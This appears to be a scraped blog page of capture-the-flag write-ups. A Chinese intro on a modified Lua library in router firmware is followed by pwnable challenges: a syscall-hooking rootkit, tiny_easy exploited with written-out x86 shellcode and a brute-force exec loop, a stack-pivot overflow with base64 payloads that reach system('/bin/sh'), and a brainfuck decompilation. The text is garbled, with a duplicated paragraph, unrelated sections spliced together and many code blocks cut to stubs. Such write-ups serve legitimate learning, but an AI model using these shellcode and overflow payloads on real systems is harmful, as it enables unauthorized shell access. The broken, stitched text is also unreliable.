记一次luac分析
前言
某mips架构的路由器上的lua脚本a.lua,被编译成了luac二进制格式。初步分析发现指定lua使用固件中的共享库liblua.so.5.1.5可运行该luac文件,同架构的官方openwrt则不能运行该luac,所以判断出lialua.so.5.1.5被魔改了。
某mips架构的路由器上的lua脚本a.lua,被编译成了luac二进制格式。初步分析发现指定lua使用固件中的共享库liblua.so.5.1.5可运行该luac文件,同架构的官方openwrt则不能运行该luac,所以判断出lialua.so.5.1.5被魔改了。
首先ssh上去看看。
elf.py:
1 | ... |
有25次机会,每次可以读进程地址空间的32字节…
再看看gen.py。
rootkit is another challenge about kernel exploits after syscall.
After connected to host, I found that the kernel load rootkit module at boot.
1 | [ 3.337631] rootkit: module license 'unspecified' taints kernel. |
Then, I use ida to disassembly the rootkit.ko.
The module disable write protection, and replace original syscall such as sys_open
to sys_open_hooked
by write syscall table(0xc15fa020
).
The sys_open_hooked
syscall will check whether the string of the filename has a flag
substring.
If there not, then the original sys_open is called.
If there is, it returns a fd
with a value of -1
, then the file opening failed.
Of cource, other sys_call such as sys_symlink
will failed also.
1 | /tmp # ln -s ../flag ./ |
1 | $ checksec tiny_easy |
NX disasbled.
1 | 08048054 pop eax |
…?
What a tiny ELF..
1 | (gdb) b *0x08048056 |
Obviously, the “tiny_easy” move ‘/hom’ to $edx, and then call edx
let the program jump to address 0x6d6f682f
(/hom), then tiggered a segmentation fault.
1 | $ exec --help |
The command exec with -a argument can help us pass the specified argv[0] to COMMAND, which mean that we can put shellcode into the environment variable, and then pass a guessed shellcode address to argv[0], then get the shell by brute force.
But the problem is, how to make a shellcode?
I guess we need pwntools…
1 | $ python3 |
And the shellcode address:
1 | tiny_easy@pwnable:~$ export A=$(python -c 'print("jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80")') |
Ok, use 0xffaabda0 as argv[0].
Befor do brute force, we should fill the shellcode by nop
(\x90
), to improve the success rate of call edx
.
1 | export A=$(python -c 'print("\x90" * 30000 + "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80")'); for i in {1..1000}; do bash -c "exec -a $(python -c 'print("\xa0\xbd\xaa\xff")') ./tiny_easy"; done |
main():
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
In the mian() function, the variable s
is a 30 bytes char[], the global variable input
is 12 bytes, no vulnerability can be used in main().
auth():
1 | _BOOL4 __cdecl auth(int a1) |
Stack of auth
1 | -00000028 ; D/A/* : change type (data/ascii/array) |
Variable v4 is 8 bytes, so the memcpy(&v4, &input, a1)
will overflow.
It can overwrite the saved registers of the stack of auth(), which is the EBP of main().
In assember, when a function return to the function caller, it will:
1 | mov esp, ebp |
We can’t directly control the EIP, because the max size of input is 12, but we can construct a fake stack, then let the EBP of main() function to our fake stack. When the main() returns, it will jmp to the function we specify.
The correct()
address is 0x0804925F, the input
address is 0x0811EB40.
Fake stack:
(The correct()
will check the first 4 bytes of input, so it should be 0xdedabeef.)
1 | 0x0811EB40 0xdeadbeef |
1 | ~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\xef\xbe\xad\xde\x5f\x92\x04\x08\x40\xeb\x11\x08'))"776t3l+SBAhA6xEI |
Or we can bypass the validation of function input(), directly let main() return to .text:08049284(the system("/bin/sh")
location):
Fake stack:
1 | 0x0811EB40 0x00000000 |
1 | .text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh" |
1 | ~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\x00\x00\x00\x00\x84\x92\x04\x08\x40\xeb\x11\x08'))" |
‘’’
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1 - 43; // p = 0804A0A0
switch ( a1 )
{
case ‘+’:
result = p;
++*(_BYTE *)p; // (*p)++
break;
case ‘,’:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result; // *(char )p = getchar()
break;
case ‘-‘:
result = p;
–(_BYTE *)p; // (p)–
break;
case ‘.’:
result = putchar((char *)p); // print char *p
break;
case ‘<’:
result = –p; // p=p-1
break;
case ‘>’:
result = ++p; // p=p+1
break;
case ‘[‘:
result = puts(“[ and ] not supported.”);
break;
default:
return result;
}
return result;
}
‘’’
1 | from pwn import * |